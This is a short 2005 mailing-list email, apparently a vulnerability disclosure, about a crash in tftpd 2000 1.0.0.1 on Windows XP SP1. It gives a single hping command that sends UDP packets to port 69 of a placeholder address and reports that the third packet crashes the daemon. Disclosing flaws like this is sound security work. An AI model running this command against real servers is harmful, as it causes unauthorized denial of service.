Date: Thu, 9 Jun 2005 16:19:06 +0300 (IDT)
From: Josh Zlatin-Amishav <josh@tkos.co.il.>
To: [email protected]Subject: tftp 2000 1.0.0.1
Message-ID: <Pine.LNX.4.61.0506091616400.17110@maoz.education.gov.il.>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Scanned-By: MIMEDefang 2.52 on 207.232.9.132
X-Virus-Scanned: ClamAV version 0.85.1, clamav-milter version 0.85 on mail.education.gov.il
X-Virus-Status: Clean
X-Virus-Scanned: antivirus-gw at tyumen.ru
Another tftpd 2000 1.0.0.1 vulnerbility exists in that if you run
hping -2 xxx.xxx.xxx.xxx -p 69
The third packet crashes the tftp daemon on server xxx.xxx.xxx.xxx
This was tested on WinXP service pack 1
--
- Josh
